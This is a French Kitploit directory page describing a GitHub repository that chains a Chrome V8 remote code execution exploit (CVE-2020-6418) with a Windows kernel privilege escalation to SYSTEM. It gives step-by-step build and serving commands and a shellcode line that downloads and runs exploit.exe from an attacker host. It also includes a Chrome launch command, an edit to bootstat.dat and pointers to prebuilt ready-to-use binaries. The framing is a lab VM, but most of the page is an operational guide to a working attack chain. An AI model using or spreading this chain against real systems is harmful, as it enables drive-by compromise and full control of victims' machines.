Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-6418 — Chaîne d'exploitation en une seule étape pour CVE-2020-6418 (RCE Chrome) chaînée avec une élévation de privilèges Windows vers SYSTEM, avec des scripts de compilation et des binaires précompilés. | Kitploit
Outils/GitHubGitHub/a-mansilla/cve-2020-6418
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebDéveloppement de Charges UtilesExploitation de Binaires
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

Chaîne d'exploitation en une seule étape pour CVE-2020-6418 (RCE Chrome) chaînée avec une élévation de privilèges Windows vers SYSTEM, avec des scripts de compilation et des binaires précompilés.

Voir le dépôt
il y a 8 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-6418 : chaîne RCE Chrome avec une élévation de privilèges Windows

Ce dépôt contient une chaîne d'exploit fonctionnelle en une seule étape pour CVE-2020-6418 (un bug de confusion de type dans le compilateur Turbofan de V8, affectant Google Chrome 80.0.3987.87 x64). La visite d'une page malveillante avec un Chrome vulnérable permet d'obtenir l'exécution de code natif dans le processus de rendu. De là, l'exploit télécharge et lance un second binaire qui enchaîne deux autres bugs (un contrôle de longueur manquant dans NtPowerInformation plus CVE-2021-31956, un dépassement de pool dans ntfs.sys) pour passer d'un processus non privilégié jusqu'à NT AUTHORITY\SYSTEM.

L'ensemble se déroule en une seule visite de la page, sans étape manuelle entre le bug du navigateur et le shell SYSTEM.

Le crédit original de l'exploit Chrome revient à Clement Lecigne (découverte du bug, Google TAG) et Istvan Kurucsai / Vignesh S Rao (la preuve de concept originale, plus tard intégrée comme module Metasploit). Nous avons retiré les dépendances Metasploit et reconstruit le mécanisme de livraison autour d'un téléchargeur natif au lieu d'intégrer la charge utile dans la page. Détails dans browser-exploit/README.md.

Structure du dépôt

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

Ce dont vous avez besoin

Machine attaquante (le « host ») : un Windows récent avec Visual Studio 2019 ou 2022 (n'importe quelle édition, Community convient, ou simplement les Build Tools), NASM et Python 3. C'est ici que vous compilez tout et servez la page d'exploit.

Machine cible (la « VM ») : elle doit correspondre exactement, l'exploit repose sur des offsets codés en dur qui ne sont valides que pour ces builds spécifiques.

  • Windows 10 20H1, build 19041.264 x64. Vérifiez avec winver ou [System.Environment]::OSVersion dans PowerShell.
  • Google Chrome 80.0.3987.87 x64 (le bug a été corrigé dans 80.0.3987.122, il doit donc s'agir de ce build exact ou d'un build vulnérable antérieur). Vérifiez avec chrome://version.
  • Un dossier C:\lab8 (il peut être vide, il suffit qu'il existe).

Nous avons testé cela sur une VM VMware Workstation avec une carte réseau host only, mais toute configuration où la VM peut atteindre l'hôte en HTTP fonctionne de la même façon.

Démarrage rapide

1. Compiler tout sur l'hôte

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

Avant la première compilation, ouvrez browser-exploit\shellcode\download_and_run_stub.asm et modifiez ces deux lignes près du bas :

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP est l'adresse IP de cette machine telle que vue depuis la VM (exécutez ipconfig sur la VM et vérifiez la carte réseau qui correspond à votre réseau host only ou NAT, ou simplement ipconfig sur l'hôte et utilisez la carte sur le même sous-réseau que la VM). destination_path doit correspondre à l'endroit où vous voulez que le binaire EoP se retrouve dans la VM, par défaut C:\lab8.

Après modification, réassemblez le stub et régénérez exploit.html (les deux commandes de l'étape 1, en sautant la compilation de privilege-escalation puisque celle-ci ne dépend pas de l'IP).

Si vous ne voulez pas toucher au fichier assembleur pour un test rapide, prebuilt/ contient déjà une copie fonctionnelle avec notre propre IP de test intégrée. Elle ne fonctionnera que si votre réseau correspond, donc compiler votre propre copie est le chemin fiable.

2. Servir l'exploit depuis l'hôte

Placez exploit.html et exploit.exe (celui compilé dans privilege-escalation/) dans le même dossier, puis :

root@kitploit:~
python -m http.server 8000

exploit.exe doit être accessible à l'URL exacte que vous avez mise dans download_url ci-dessus, car le stub natif le récupère directement, pas à travers le navigateur.

Une note rapide sur le pare-feu de l'hôte : si la VM ne peut pas atteindre le port 8000, c'est presque toujours le pare-feu Windows Defender qui bloque la connexion entrante sur un réseau non classifié, ou une règle résiduelle bloquant python.exe spécifiquement (Windows en crée parfois une automatiquement la première fois qu'une application tente d'accepter une connexion sur un réseau non approuvé). Vérifiez Get-NetFirewallRule -DisplayName "python.exe" dans une PowerShell élevée si vous rencontrez ce problème.

3. Préparer la VM

  • Confirmez que la build Windows et la version de Chrome correspondent aux exigences ci-dessus.

  • Créez C:\lab8 s'il n'existe pas déjà (vide, c'est suffisant).

  • S'il s'agit d'une VM nue qui n'a jamais passé un vrai cycle de démarrage, C:\Windows\bootstat.dat peut être manquant ou vide, et le bug du noyau a besoin qu'il existe avec un contenu valide. Si nécessaire :

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. Lancer l'exploit

Lancez le Chrome vulnérable avec --no-sandbox (ce PoC n'inclut pas d'évasion de sandbox, le moteur de rendu doit donc déjà être sans sandbox pour accéder au système de fichiers et lancer des processus) et pointez-le vers la page :

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

Ouvrez DevTools (F12) et vérifiez l'onglet Console, l'exploit y enregistre sa progression. Si tout correspond, vous devriez voir la confusion de type réussir, le stub télécharger et lancer le binaire EoP, et après quelques secondes une nouvelle fenêtre console s'exécutant en tant que NT AUTHORITY\SYSTEM.

En cas de problème

  • Chrome plante au lieu d'exécuter l'exploit : c'est presque toujours une inadéquation de build Chrome. Les offsets dans exploit_template.html (objleaker_offset, float_carw_elements_offset, et les autres) sont spécifiques à 80.0.3987.87 x64, ils ne fonctionneront pas sur un autre build, même à une version de patch d'écart.
  • Le binaire EoP ouvre une console mais n'atteint jamais SYSTEM : même idée, vérifiez que la build Windows est exactement 19041.264. Les offsets noyau (DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, et les différents offsets EPROCESS/ETHREAD dans privilege-escalation/exploit.c) sont codés en dur pour cette build.
  • Le stub de téléchargement semble ne rien récupérer : revérifiez que download_url dans download_and_run_stub.asm correspond à l'adresse et au port sur lesquels l'hôte sert réellement, et que la VM peut l'atteindre (un simple curl http://YOUR_HOST_IP:8000/exploit.exe depuis la VM est un moyen rapide de confirmer la connectivité avant de blâmer l'exploit).

Plus de détails sur chaque élément, y compris pourquoi il est construit de cette façon, dans le README de chaque dossier.

Télécharger l’outil